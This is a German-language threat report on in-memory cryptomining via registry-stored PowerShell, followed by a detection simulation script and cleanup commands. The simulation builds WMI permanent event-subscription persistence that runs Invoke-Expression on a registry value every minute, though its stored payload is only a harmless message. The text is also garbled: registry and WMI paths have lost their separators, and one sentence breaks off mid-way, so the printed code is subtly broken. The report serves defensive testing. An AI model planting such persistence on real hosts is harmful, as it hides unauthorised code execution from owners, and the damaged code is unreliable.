Im Speicher laufendes Kryptowährungs-Mining mittels im Registry gespeicherter PowerShell

Zusammenfassung

Eine mehrstufige Infektionskette nutzt ausgeklügelte Verschleierungstechniken, um einen Kryptowährungsminer bereitzustellen. Der Angriff speichert Payloads im Registrierungsspeicher und nutzt DNS TXT-Einträge sowie Steganographie in PNG- und WAV-Dateien, um nachfolgende Stufen auszuliefern. Die endgültige Nutzlast lädt eine .NET-Assembly direkt in den Speicher, um über das XMRig-Ökosystem Kryptowährung zu schürfen.

Untersuchung

Analysten untersuchten wiederholte PowerShell-Ausführungswarnungen und entdeckten eine Strategie zur verschleierten Nutzlastverbergung. Die Infektionskette rekonstruiert bösartige Inhalte aus unkonventionellen Containern, einschließlich Bildpixeldaten und Audio-Datei-Nibbles. Die Ausführung schreitet von im Registrierungsspeicher gespeicherten PowerShell-Skripten durch mehrere Stufen voran, bevor letztendlich ein .NET Kryptowährungsminer direkt in den Speicher geladen wird.

Minderung

Organisationen sollten strenge PowerShell-Ausführungsrichtlinien durchsetzen und verdächtige Registrierungsänderungen überwachen, die mit der Speicherung von Nutzlasten verbunden sind. EDR-Lösungen sollten das Laden von .NET-Assemblies im Speicher und anomale DNS TXT-Record-Abfragen erkennen. Auch sollten Anwendungs-Whitelistings implementiert werden, um das Laden nicht autorisierter Kernel-Mode-Treiber wie WinRing0.sys zu verhindern.

Reaktion

Wenn bösartige Aktivitäten erkannt werden, sollten betroffene Hosts sofort isoliert werden, um weitere C2-Kommunikation und Kryptowährungsmining zu stoppen. Einsatzkräfte sollten eine forensische Überprüfung auf nicht autorisierte geplante Aufgaben, WMI-Abonnements und Microsoft Defender-Ausschlüsse durchführen. Netzwerkprotokolle sollten auch auf Verbindungen zu bekannten C2-Domains und verdächtige DNS-over-HTTPS-Abfragen überprüft werden.

Simulation Execution

• Angriffserzählung & Befehle: Der Angreifer versucht, eine langfristige Persistenz auf dem kompromittierten Host zu etablieren. Anstatt einen gängigen „Run“-Schlüssel zu verwenden, entscheiden sie sich für ein unauffälligeres WMI-Dauerevent-Abonnement. Der Angreifer erstellt ein WMI CommandLineEventConsumer. Dieser Consumer ist so konfiguriert, dass er powershell.exe. Um die statische Analyse der Befehlszeile zu umgehen, wird die tatsächliche schädliche Nutzlast oder Konfiguration in einem nicht standardmäßigen Registrierungspfad gespeichert: HKLM:Softwareuf42a9660377vstdfehzr. Wenn das WMI-Ereignis ausgelöst wird (hier durch ein Systemereignis simuliert), startet der PowerShell-Prozess, der den spezifischen Registrierungsschlüssel referenziert und so die Erkennungsregel auslöst.

• Regression Test Script:

  # Simulationsskript: WMI Registry-basierte PowerShell-Ausführung
  # Dieses Skript erstellt den spezifischen Registrierungsschlüssel und das WMI-Abonnement, den/das es benötigt, um die Regel auszulösen.
  
  $regPath = "HKLM:Softwareuf42a9660377"
  $regValueName = "vstdfehzr"
  $regValueData = "Invoke-Expression (Get-ItemProperty -Path '$regPath$regValueName').Payload"
  
  # 1. Erstelle den verdächtigen Registrierungsschlüssel und -wert
  if (-not (Test-Path $regPath)) {
      New-Item -Path $regPath -Force | Out-Null
  }
  New-ItemProperty -Path $regPath -Name $regValueName -Value "Write-Host 'Malicious Payload Triggered!'" -PropertyType String -Force | Out-Null
  
  # 2. WMI-Dauerevent-Abonnement erstellen
  # Wir verwenden einen Filter, um auf ein übliches Ereignis (z.B. Systemlaufzeit/Start) zu triggern oder durch Verbraucher-Erstellung zu simulieren
  $filterName = "Win32_LocalTimeFilter"
  $consumerName = "Win32_CommandLineConsumer"
  $subscriptionName = "WmiPersistenceSubscription"
  
  # Filter erstellen (triggert jede Minute zu Simulationszwecken)
  $filterArgs = @{
      Name = $filterName
      QueryLanguage = "WQL"
      Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
  }
  $filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs
  
  # Verbraucher erstellen (Der PowerShell-Befehl, der den spezifischen Registrierungspfad referenziert)
  $commandLine = "powershell.exe -Command `"$regValueData`""
  $consumerArgs = @{
      Name = $consumerName
      CommandLineTemplate = $commandLine
  }
  $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs
  
  # Filter und Verbraucher binden
  Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
      Filter = $filter
      Consumer = $consumer
  }
  
  Write-Host "[+] Simulation: WMI-Abonnement und Registrierungsschlüssel erfolgreich erstellt."
  Write-Host "[+] Wartet auf WMI-Ereignis zur Auslösung der PowerShell-Ausführung..."
  # Hinweis: In einer realen Umgebung warten wir auf das Ereignis. 
  # Zu Testzwecken sucht die Regel oft nach der *Erstellung* oder dem *Ereignisauslöser*.

• Bereinigungskommandos:

  # Bereinigungsskript
  Write-Host "[!] Bereinigung von Simulationsartefakten..."
  
  # 1. WMI-Abonnement entfernen
  Get-WmiObject -Namespace rootsubscription -Class __EventFilter -Filter "Name='Win32_LocalTimeFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace rootsubscription -Class CommandLineEventConsumer -Filter "Name='Win32_CommandLineConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace rootsubscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match "Win32_LocalTimeFilter" } | Remove-WmiObject
  
  # 2. Registrierungsschlüssel entfernen
  Remove-Item -Path "HKLM:Softwareuf42a9660377" -Recurse -Force
  
  Write-Host "[+] Bereinigung abgeschlossen."